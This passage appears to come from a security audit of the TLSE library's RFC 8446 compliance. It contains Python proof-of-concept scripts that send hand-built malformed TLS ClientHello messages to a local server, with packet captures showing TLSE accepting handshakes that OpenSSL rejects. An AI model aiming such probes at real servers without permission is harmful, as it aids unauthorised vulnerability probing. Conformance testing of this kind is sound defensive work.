compression_methods = b'\x01\x00'
# --- 构造扩展列表 ---
extensions_data = b''
# 扩展 1: supported_versions (表明想用TLS 1.3)
ext_supported_versions = b'\x00\x2b\x00\x03\x02\x03\x04'
extensions_data += ext_supported_versions
# 扩展 2: signature_algorithms (关键点)
# 我们故意只提供ECDSA相关的签名算法,假设服务器证书是RSA签名的。
# 0x0403 -> ecdsa_secp256r1_sha256
# 0x0503 -> ecdsa_secp384r1_sha384
sig_algs_list = b'\x04\x03\x05\x03'
sig_algs_body = struct.pack('>H', len(sig_algs_list)) + sig_algs_list
ext_sig_algs = b'\x00\x0d' + struct.pack('>H', len(sig_algs_body)) + sig_algs_body
extensions_data += ext_sig_algs
print(" [+] 已添加 'signature_algorithms' 扩展,故意仅声明支持 ECDSA 算法")
# 其他必要的扩展,以确保是一个有效的ClientHello
ext_supported_groups = b'\x00\x0a\x00\x08\x00\x06\x00\x1d\x00\x17\x00\x18' # x25519, secp256r1, secp384r1
extensions_data += ext_supported_groups
ext_key_share = b'\x00\x33\x00\x26\x00\x24\x00\x1d\x00\x20' + (b'\x01' * 32)
extensions_data += ext_key_share
# --- 组装最终的数据包 ---
client_hello_body = (
version + random + session_id +
cipher_suites + compression_methods +
struct.pack('>H', len(extensions_data)) + extensions_data
)
handshake_msg = b'\x01' + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body
tls_record = b'\x16\x03\x03' + struct.pack('>H', len(handshake_msg)) + handshake_msg
return tls_record
def test_vulnerability():
"""执行漏洞测试的主函数"""
print("=" * 70)
print(" TLS 服务器证书签名算法违规验证")
print("=" * 70)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((SERVER_IP, SERVER_PORT))
print(f"[*] 已连接到 {SERVER_IP}:{SERVER_PORT}")
print("[*] 正在构造一个只声明支持ECDSA签名算法的ClientHello...")
malicious_hello = create_malicious_client_hello()
print(f"[*] 正在发送 {len(malicious_hello)} 字节的恶意ClientHello...")
s.send(malicious_hello)
print("[*] 正在等待服务器响应...")
response = s.recv(4096)
if not response:
print("\n[!] 服务器关闭了连接或无响应。")
return
content_type = response[0]
print(f"[*] 收到响应: 内容类型={content_type}")
if content_type == 21: # Alert
if len(response) >= 7:
alert_level, alert_desc = response[5], response[6]
print(f"\n[-] 服务器发送了TLS Alert (级别: {alert_level}, 描述: {alert_desc})")
# 40 (handshake_failure) 是最可能的正确响应
if alert_desc == 40:
print(" [✓] 这是正确的行为! 服务器因无法提供客户端支持的证书链而中止握手。")
print(" [✓] 结论: 服务器在此方面是安全的。")
else:
print(" [?] 服务器发送了其他类型的警报,但仍正确地拒绝了握手。")
else:
print("\n[!] Alert消息格式异常。")
elif content_type == 22: # Handshake
# 如果服务器继续发送ServerHello和Certificate,就说明它违规了
print(f"\n[+] >>> 漏洞确认! <<<")
print("[+] 服务器接受了ClientHello并继续发送了握手消息 (ServerHello)!")
print("[+] 服务器无视了客户端在'signature_algorithms'中的限制,依然发送了它的默认证书。")
print("[+] 这违反了RFC 8446的强制性要求。")
except socket.timeout:
print("\n[!] 连接超时。")
except ConnectionResetError:
print("\n[!] 连接被重置。")
except Exception as e:
print(f"\n[!] 测试过程中发生未知错误: {e}")
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
test_vulnerability()
print("\n" + "=" * 70)
print(" 测试完成")
print("=" * 70)
Transmission Control Protocol, Src Port: 58754, Dst Port: 2000, Seq: 1, Ack: 1, Len: 125
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 120
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 116
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 4
Cipher Suites (2 suites)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 71
Extension: supported_versions (len=3)
Type: supported_versions (43)
Length: 3
Supported Versions length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: signature_algorithms (len=6)
Type: signature_algorithms (13)
Length: 6
Signature Hash Algorithms Length: 4
Signature Hash Algorithms (2 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Extension: supported_groups (len=8)
Type: supported_groups (10)
Length: 8
Supported Groups List Length: 6
Supported Groups (3 groups)
Supported Group: x25519 (0x001d)
Supported Group: secp256r1 (0x0017)
Supported Group: secp384r1 (0x0018)
Extension: key_share (len=38)
Type: key_share (51)
Length: 38
Key Share extension
Client Key Share Length: 36
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 0101010101010101010101010101010101010101010101010101010101010101
[JA3 Fullstring: 771,4865-156,43-13-10-51,29-23-24,]
[JA3: 6ac85a9ff4af1df86dc553259dc68341]
Frame 6: 1436 bytes on wire (11488 bits), 1436 bytes captured (11488 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 58754, Seq: 1, Ack: 126, Len: 1368
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 122
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 118
Version: TLS 1.2 (0x0303)
Random: c0bfe4cd5d57f91e1d0654cc342215493e55dce198be19585ce9c80c19871010
Session ID Length: 32
Session ID: 2c8a9667fcab82d18a9ed6b5590af78618371bb0198d62f79ea483a020629f63
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 46
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: key_share (len=36)
Type: key_share (51)
Length: 36
Key Share extension
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 67dde1103dcc2f646620b67d119d71bc3ac5cea07fb0d07c03cfd78d18e8fd4b
[JA3S Fullstring: 771,4865,43-51]
[JA3S: f4febc55ea12b31ae17cfb7e614afda8]
TLSv1.3 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (0x0303)
Length: 1
Change Cipher Spec Message
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 23
Encrypted Application Data: 436fe89d504bb015d5c45a07966ede0d7488532379770c
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 42
Encrypted Application Data: 17f068e3801d9be4e72337b1dce9ccac247ba60f941609579273543833108816d16d82a6?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 811
Encrypted Application Data: 41f610c5ab110b8b8711efdef3273bc587ec8f0f4279fe84bb449facd8535ab37e880d15?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 281
Encrypted Application Data: 462e91b712956b016af37f295f1833497cc086ccf7abb994408f09a29ab93edd25d3ccda?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 53
Encrypted Application Data: 7725e21146aeceecd4614967a10b362ae67194d0eadde28353df382587534fc39455e464?
At this point, the certificate used by the server is signed with RSA. We also run the server service using OPENSSL with the same certificate and private key, which successfully prevented such connections. However, TLSE did not reject them.
Violation12: Duplicate Group Validation Missing in TLSE
4.2.8. Key Share
Clients MUST NOT offer multiple KeyShareEntry values for the same group.
We discovered that the function _private_tls_parse_key_share processes KeyShareEntry values without detecting duplicate groups. Strictly speaking, it would be best for the server to include a validation mechanism to avoid accepting malformed packets sent by the client.
We used a script to validate this behavior and found that OpenSSL correctly rejected the packet by returning an ALERT message, while TLSE responded normally instead of rejecting it.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
# -------------------------------------------------------------------
# 手动构造TLS消息的POC脚本 (无外部依赖)
# -------------------------------------------------------------------
# --- 全局配置 ---
SERVER_IP = "127.0.0.1"
SERVER_PORT = 2000
def create_malicious_client_hello():
"""
手动构造一个ClientHello。
核心:其 key_share 扩展中为同一个组 (x25519) 提供了两个
不同的 KeyShareEntry,违反了RFC 8446的规定。
"""
# --- ClientHello 核心内容 ---
version = b'\x03\x03'
random = b'\x00' * 32
session_id = b'\x00'
cipher_suites = b'\x00\x02' + b'\x13\x01' # TLS_AES_128_GCM_SHA256
compression_methods = b'\x01\x00'
# --- 构造扩展列表 ---
extensions_data = b''
# 扩展 1: supported_versions (表明想用TLS 1.3)
ext_supported_versions = b'\x00\x2b\x00\x03\x02\x03\x04'
extensions_data += ext_supported_versions
# 扩展 2: supported_groups (声明支持 x25519)
supported_groups_list = b'\x00\x1d' # x25519
supported_groups_body = struct.pack('>H', len(supported_groups_list)) + supported_groups_list
ext_supported_groups = b'\x00\x0a' + struct.pack('>H', len(supported_groups_body)) + supported_groups_body
extensions_data += ext_supported_groups
# 扩展 3: key_share (关键点)
# 我们在这里为同一个组 x25519 提供两个条目
print(" [-] 正在构造 'key_share' 扩展,包含重复的组 (x25519)...")
# 第一个 x25519 条目
key_share_entry1_group = b'\x00\x1d' # Group: x25519
key_share_entry1_key = b'\x01' * 32 # 伪造的公钥1
key_share_entry1 = key_share_entry1_group + struct.pack('>H', len(key_share_entry1_key)) + key_share_entry1_key
# 第二个 x25519 条目 (重复的组)
key_share_entry2_group = b'\x00\x1d' # Group: x25519
key_share_entry2_key = b'\x02' * 32 # 伪造的公钥2
key_share_entry2 = key_share_entry2_group + struct.pack('>H', len(key_share_entry2_key)) + key_share_entry2_key
# 将两个条目拼接成列表
key_share_list_bytes = key_share_entry1 + key_share_entry2
key_share_body = struct.pack('>H', len(key_share_list_bytes)) + key_share_list_bytes
ext_key_share = b'\x00\x33' + struct.pack('>H', len(key_share_body)) + key_share_body
extensions_data += ext_key_share
# --- 组装最终的数据包 ---
client_hello_body = (
version + random + session_id +
cipher_suites + compression_methods +
struct.pack('>H', len(extensions_data)) + extensions_data
)
handshake_msg = b'\x01' + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body
tls_record = b'\x16\x03\x03' + struct.pack('>H', len(handshake_msg)) + handshake_msg
return tls_record
def test_vulnerability():
"""执行漏洞测试的主函数"""
print("=" * 70)
print(" TLS 'key_share' 扩展中重复组漏洞验证")
print("=" * 70)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((SERVER_IP, SERVER_PORT))
print(f"[*] 已连接到 {SERVER_IP}:{SERVER_PORT}")
print("[*] 正在构造一个包含重复key_share组的ClientHello...")
malicious_hello = create_malicious_client_hello()
print(f"[*] 正在发送 {len(malicious_hello)} 字节的恶意ClientHello...")
s.send(malicious_hello)
print("[*] 正在等待服务器响应...")
response = s.recv(4096)
if not response:
print("\n[!] 服务器关闭了连接或无响应。")
print("[!] 这很可能是一个安全的行为,表明服务器拒绝了畸形的数据包。")
return
content_type = response[0]
print(f"[*] 收到响应: 内容类型={content_type}")
if content_type == 21: # Alert
if len(response) >= 7:
alert_level, alert_desc = response[5], response[6]
print(f"\n[-] 服务器发送了TLS Alert (级别: {alert_level}, 描述: {alert_desc})")
if alert_desc == 47: # illegal_parameter
print(" [✓] 这是正确的行为! 服务器检测到了key_share中的重复组。")
print(" [✓] 结论: 服务器在此方面是安全的。")
else:
print(" [?] 服务器发送了其他类型的警报,但仍正确地拒绝了握手。")
else:
print("\n[!] Alert消息格式异常。")
elif content_type == 22: # Handshake
print(f"\n[+] >>> 漏洞确认! <<<")
print("[+] 服务器接受了包含重复key_share组的ClientHello并继续发送了握手消息!")
print("[+] 服务器未能校验 key_share 中的组是否唯一,违反了RFC 8446。")
except socket.timeout:
print("\n[!] 连接超时。服务器可能已丢弃了畸形的数据包,这通常是安全的行为。")
except ConnectionResetError:
print("\n[!] 连接被重置。服务器可能检测到错误并关闭了连接,这通常是安全的行为。")
except Exception as e:
print(f"\n[!] 测试过程中发生未知错误: {e}")
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
test_vulnerability()
print("\n" + "=" * 70)
print(" 测试完成")
print("=" * 70)
Frame 14: 213 bytes on wire (1704 bits), 213 bytes captured (1704 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 39724, Dst Port: 2000, Seq: 1, Ack: 1, Len: 145
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 140
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 136
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 2
Cipher Suites (1 suite)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 93
Extension: supported_versions (len=3)
Type: supported_versions (43)
Length: 3
Supported Versions length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: supported_groups (len=4)
Type: supported_groups (10)
Length: 4
Supported Groups List Length: 2
Supported Groups (1 group)
Supported Group: x25519 (0x001d)
Extension: key_share (len=74)
Type: key_share (51)
Length: 74
Key Share extension
Client Key Share Length: 72
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 0101010101010101010101010101010101010101010101010101010101010101
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: 0202020202020202020202020202020202020202020202020202020202020202
[JA3 Fullstring: 771,4865,43-10-51,29,]
[JA3: 3b00920a96c33f116552f4076c4669a2]
Frame 16: 1436 bytes on wire (11488 bits), 1436 bytes captured (11488 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 39724, Seq: 1, Ack: 146, Len: 1368
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 122
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 118
Version: TLS 1.2 (0x0303)
Random: 12270f9fae07c38526ba9f3f76b76b67f9210be7f190d2090a3df8d1873f8b41
Session ID Length: 32
Session ID: 129d2affdbb1d0b914f8da558c51b8eea17fd342e5da7b33f123be36e63f68ad
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 46
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: key_share (len=36)
Type: key_share (51)
Length: 36
Key Share extension
Key Share Entry: Group: x25519, Key Exchange length: 32
Group: x25519 (29)
Key Exchange Length: 32
Key Exchange: fc27899f3213e00d58231168f79ee34211d7f6672308666a37cc9087d5e3dc00
[JA3S Fullstring: 771,4865,43-51]
[JA3S: f4febc55ea12b31ae17cfb7e614afda8]
TLSv1.3 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
Content Type: Change Cipher Spec (20)
Version: TLS 1.2 (0x0303)
Length: 1
Change Cipher Spec Message
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 23
Encrypted Application Data: 40340e1ee194b829465c5e30532e6b4aca8371d94a4a6f
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 42
Encrypted Application Data: c48298a12a17f40528879f918a9a090a5913df6456f564b6dcb1067cf3b1ca06e715c221?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 811
Encrypted Application Data: 247d1036d61a1106148e0072215ea979f4a8809f6b457ddaf1d7bce7bfe378ce97fba7b2?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 281
Encrypted Application Data: 6299c1a7e9c9c4d0b42eb1baad21f527df355726581cd550d81ac97700d3191294af90fc?
TLSv1.3 Record Layer: Application Data Protocol: Application Data
Opaque Type: Application Data (23)
Version: TLS 1.2 (0x0303)
Length: 53
Encrypted Application Data: ae31ba30d8a2848b63ae360c610d481624244a14d5ccd6d0bf403154e58a69dd6f847539?
Violation13: Failure to Enforce HelloRetryRequest When Missing key_share Extension
If the server selects an (EC)DHE group and the client did not offer a compatible "key_share" extension in the initial ClientHello, the server MUST respond with a HelloRetryRequest (Section 4.1.4) message.
Based on the rule description, if the server selects an (EC)DHE group but the client's initial ClientHello does not include a compatible key_share extension, the server must respond with a HelloRetryRequest (HRR).
However, we constructed a ClientHello without providing the key_share extension, and unexpectedly, the TLS implementation fell back to continuing the handshake using TLS 1.2. This behavior violates the requirement specified in the rules to return a HelloRetryRequest message.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
# -------------------------------------------------------------------
# 手动构造TLS消息的POC脚本 (无外部依赖)
# -------------------------------------------------------------------
# --- 全局配置 ---
SERVER_IP = "127.0.0.1"
SERVER_PORT = 2000
# HelloRetryRequest的特殊随机数(magic value)
HELLO_RETRY_REQUEST_RANDOM = bytes.fromhex(
"CF21AD74E59A6111BE1D8C021E65B891C2A211167ABB8C5E079E09E2C8A8339C"
)
def create_malicious_client_hello():
"""
手动构造一个ClientHello。
核心:包含 supported_groups 扩展,但故意省略 key_share 扩展。
这用于测试服务器是否会正确地发送 HelloRetryRequest。
"""
# --- ClientHello 核心内容 ---
version = b'\x03\x03'
random = b'\x00' * 32
session_id = b'\x00'
cipher_suites = b'\x00\x02' + b'\x13\x01' # TLS_AES_128_GCM_SHA256
compression_methods = b'\x01\x00'
# --- 构造扩展列表 ---
extensions_data = b''
# 扩展 1: supported_versions (表明想用TLS 1.3)
ext_supported_versions = b'\x00\x2b\x00\x03\x02\x03\x04'
extensions_data += ext_supported_versions
# 扩展 2: supported_groups (声明支持的组)
supported_groups_list = b'\x00\x1d\x00\x17' # x25519, secp256r1
supported_groups_body = struct.pack('>H', len(supported_groups_list)) + supported_groups_list
ext_supported_groups = b'\x00\x0a' + struct.pack('>H', len(supported_groups_body)) + supported_groups_body
extensions_data += ext_supported_groups
print(" [+] 已添加 'supported_groups' 扩展")
# *** 关键点:我们在这里故意省略了 key_share 扩展 ***
print(" [-] 故意省略 'key_share' 扩展 (违反RFC 8446)")
# --- 组装最终的数据包 ---
client_hello_body = (
version + random + session_id +
cipher_suites + compression_methods +
struct.pack('>H', len(extensions_data)) + extensions_data
)
handshake_msg = b'\x01' + struct.pack('>I', len(client_hello_body))[1:] + client_hello_body
tls_record = b'\x16\x03\x03' + struct.pack('>H', len(handshake_msg)) + handshake_msg
return tls_record
def is_hello_retry_request(response):
"""检查服务器的响应是否是一个HelloRetryRequest"""
try:
# 必须是Handshake消息(22)和ServerHello类型(2)
if response[0] != 22 or response[5] != 2:
return False
# ServerHello的random字段从第11个字节开始(跳过5字节记录头和6字节握手头)
server_random = response[11:11+32]
return server_random == HELLO_RETRY_REQUEST_RANDOM
except (IndexError, struct.error):
return False
def test_vulnerability():
"""执行漏洞测试的主函数"""
print("=" * 70)
print(" TLS HelloRetryRequest 缺失漏洞验证")
print("=" * 70)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((SERVER_IP, SERVER_PORT))
print(f"[*] 已连接到 {SERVER_IP}:{SERVER_PORT}")
print("[*] 正在构造一个缺少'key_share'扩展的ClientHello...")
malicious_hello = create_malicious_client_hello()
print(f"[*] 正在发送 {len(malicious_hello)} 字节的恶意ClientHello...")
s.send(malicious_hello)
print("[*] 正在等待服务器响应...")
response = s.recv(4096)
if not response:
print("\n[!] 服务器关闭了连接或无响应。")
return
content_type = response[0]
print(f"[*] 收到响应: 内容类型={content_type}")
if is_hello_retry_request(response):
print(f"\n[-] 测试失败 (这是一个**安全**服务器的预期行为)。")
print("[-] 服务器正确地发送了 HelloRetryRequest。")
print("[-] 结论: 服务器在此方面是安全的。")
elif content_type == 21: # Alert
alert_desc = response[6]
print(f"\n[+] >>> 漏洞确认! <<<")
print(f"[+] 服务器发送了TLS Alert (描述: {alert_desc}),而不是HelloRetryRequest。")
print("[+] 服务器未能正确处理缺少key_share的情况,违反了RFC 8446。")
elif content_type == 22: # 其他Handshake消息
print(f"\n[+] >>> 漏洞确认! <<<")
print("[+] 服务器发送了普通的ServerHello,而不是HelloRetryRequest。")
print("[+] 服务器未能正确处理缺少key_share的情况,违反了RFC 8446。")
else:
print(f"\n[?] 未知的服务器响应 (类型: {content_type}),请手动分析。")
except socket.timeout:
print("\n[!] 连接超时。")
except ConnectionResetError:
print("\n[!] 连接被重置。")
except Exception as e:
print(f"\n[!] 测试过程中发生未知错误: {e}")
finally:
try:
s.close()
except:
pass
if __name__ == "__main__":
test_vulnerability()
print("\n" + "=" * 70)
print(" 测试完成")
print("=" * 70)
root@5bfa19bcb2f8:~/projects/tlse/build/examples# tshark -i any -f "tcp port 2000" -Y "tls.handshake.type || tls.record.content_type" -O tls -V
Running as user "root" and group "root". This could be dangerous.
Capturing on 'any'
** (tshark:774166) 07:44:26.528547 [Main MESSAGE] -- Capture started.
** (tshark:774166) 07:44:26.528594 [Main MESSAGE] -- File: "/tmp/wireshark_anyZURE92.pcapng"
Frame 4: 137 bytes on wire (1096 bits), 137 bytes captured (1096 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 42578, Dst Port: 2000, Seq: 1, Ack: 1, Len: 69
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 64
Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 60
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
GMT Unix Time: (0)Jan 1, 1970 00:00:00.000000000 UTC
Random Bytes: 00000000000000000000000000000000000000000000000000000000
Session ID Length: 0
Cipher Suites Length: 2
Cipher Suites (1 suite)
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Methods Length: 1
Compression Methods (1 method)
Compression Method: null (0)
Extensions Length: 17
Extension: supported_versions (len=3)
Type: supported_versions (43)
Length: 3
Supported Versions length: 2
Supported Version: TLS 1.3 (0x0304)
Extension: supported_groups (len=6)
Type: supported_groups (10)
Length: 6
Supported Groups List Length: 4
Supported Groups (2 groups)
Supported Group: x25519 (0x001d)
Supported Group: secp256r1 (0x0017)
[JA3 Fullstring: 771,4865,43-10,29-23,]
[JA3: 3a384f58b07ee4695a826533c799821d]
Frame 6: 1331 bytes on wire (10648 bits), 1331 bytes captured (10648 bits) on interface any, id 0
Linux cooked capture v1
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 2000, Dst Port: 42578, Seq: 1, Ack: 70, Len: 1263
Transport Layer Security
TLSv1.2 Record Layer: Handshake Protocol: Server Hello
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 82
Handshake Protocol: Server Hello
Handshake Type: Server Hello (2)
Length: 78
Version: TLS 1.2 (0x0303)
Random: 0000000000000000000000000000000000000000000000000000000000000000
Session ID Length: 32
Session ID: 166df4fb77b88c982bdb1f691f55e4018a66bf9d510dad36b47fbedc37ef4a7b
Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
Compression Method: null (0)
Extensions Length: 6
Extension: supported_versions (len=2)
Type: supported_versions (43)
Length: 2
Supported Version: TLS 1.3 (0x0304)
[JA3S Fullstring: 771,4865,43]
[JA3S: cce84e7a8b742462e40afb585a3e3ccc]
TLSv1.3 Record Layer: Handshake Protocol: Certificate
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 794
Handshake Protocol: Certificate
Handshake Type: Certificate (11)
Length: 790
Certificate Request Context Length: 0
Certificates Length: 786
Certificates (786 bytes)
Certificate Length: 781
Certificate: 30820309308201f1a00302010202146e053b0966b5726e8d6924c721b1c254c746889030? (id-at-commonName=localhost)
signedCertificate
version: v3 (2)
serialNumber: 0x6e053b0966b5726e8d6924c721b1c254c7468890
signature (sha256WithRSAEncryption)
Algorithm Id: 1.2.840.113549.1.1.11 (sha256WithRSAEncryption)
issuer: rdnSequence (0)
rdnSequence: 1 item (id-at-commonName=localhost)
RDNSequence item: 1 item (id-at-commonName=localhost)
RelativeDistinguishedName item (id-at-commonName=localhost)
Id: 2.5.4.3 (id-at-commonName)
DirectoryString: uTF8String (4)
uTF8String: localhost
validity
notBefore: utcTime (0)
utcTime: 2025-07-01 08:52:05 (UTC)
notAfter: utcTime (0)
utcTime: 2026-07-01 08:52:05 (UTC)
subject: rdnSequence (0)
rdnSequence: 1 item (id-at-commonName=localhost)
RDNSequence item: 1 item (id-at-commonName=localhost)
RelativeDistinguishedName item (id-at-commonName=localhost)
Id: 2.5.4.3 (id-at-commonName)
DirectoryString: uTF8String (4)
uTF8String: localhost
subjectPublicKeyInfo
algorithm (rsaEncryption)
Algorithm Id: 1.2.840.113549.1.1.1 (rsaEncryption)
subjectPublicKey: 3082010a0282010100c3f6d7bfc7aa64d2e888a1641e2a089ace55809bdcadc103bd4dc7?
modulus: 0x00c3f6d7bfc7aa64d2e888a1641e2a089ace55809bdcadc103bd4dc78f8b206f33d5d47d?
publicExponent: 65537
extensions: 3 items
Extension (id-ce-subjectKeyIdentifier)
Extension Id: 2.5.29.14 (id-ce-subjectKeyIdentifier)
SubjectKeyIdentifier: a11f9ea9c4422e71a57da0426cb62fa82dced785
Extension (id-ce-authorityKeyIdentifier)
Extension Id: 2.5.29.35 (id-ce-authorityKeyIdentifier)
AuthorityKeyIdentifier
keyIdentifier: a11f9ea9c4422e71a57da0426cb62fa82dced785
Extension (id-ce-basicConstraints)
Extension Id: 2.5.29.19 (id-ce-basicConstraints)
critical: True
BasicConstraintsSyntax
cA: True
algorithmIdentifier (sha256WithRSAEncryption)
Algorithm Id: 1.2.840.113549.1.1.11 (sha256WithRSAEncryption)
Padding: 0
encrypted: 29b44f6b954f9feb82febcd16425b9e58cdb067aac5d582863a59f3a3442ac19efbc74c8?
Extensions Length: 0
TLSv1.3 Record Layer: Handshake Protocol: Server Key Exchange
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 333
Handshake Protocol: Server Key Exchange
Handshake Type: Server Key Exchange (12)
Length: 329
TLSv1.3 Record Layer: Handshake Protocol: Certificate Request
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 25
Handshake Protocol: Certificate Request
Handshake Type: Certificate Request (13)
Length: 21
Certificate Request Context Length: 0
Extensions Length: 18
Extension: signature_algorithms (len=14)
Type: signature_algorithms (13)
Length: 14
Signature Hash Algorithms Length: 12
Signature Hash Algorithms (6 algorithms)
Signature Algorithm: ecdsa_secp256r1_sha256 (0x0403)
Signature Hash Algorithm Hash: SHA256 (4)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: ecdsa_secp384r1_sha384 (0x0503)
Signature Hash Algorithm Hash: SHA384 (5)
Signature Hash Algorithm Signature: ECDSA (3)
Signature Algorithm: SHA512 SM2 (0x0604)
Signature Hash Algorithm Hash: SHA512 (6)
Signature Hash Algorithm Signature: SM2 (4)
Signature Algorithm: rsa_pss_rsae_sha256 (0x0804)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: SM2 (4)
Signature Algorithm: rsa_pss_rsae_sha384 (0x0805)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (5)
Signature Algorithm: rsa_pss_rsae_sha512 (0x0806)
Signature Hash Algorithm Hash: Unknown (8)
Signature Hash Algorithm Signature: Unknown (6)
TLSv1.3 Record Layer: Handshake Protocol: Server Hello Done
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 4
Handshake Protocol: Server Hello Done
Handshake Type: Server Hello Done (14)
Length: 0
This may pose a potential TLS 1.3 downgrade risk, and we recommend addressing this issue as a priority.
Violation14:
The PSK used to encrypt the early data MUST be the first PSK listed in the client's "pre_shared_key" extension.
This rule is enforced during the extended processing; however, the code only records the extension data (lines 7198-7201) and does not verify the PSK sequence or enforce early data binding.
if (extension_type == 0x29) {
// pre shared key
DEBUG_DUMP_HEX_LABEL("EXTENSION, PRE SHARED KEY", &buf[res], extension_len);
}
# Violation15: Missing Key Usage and Signature Scheme Validation
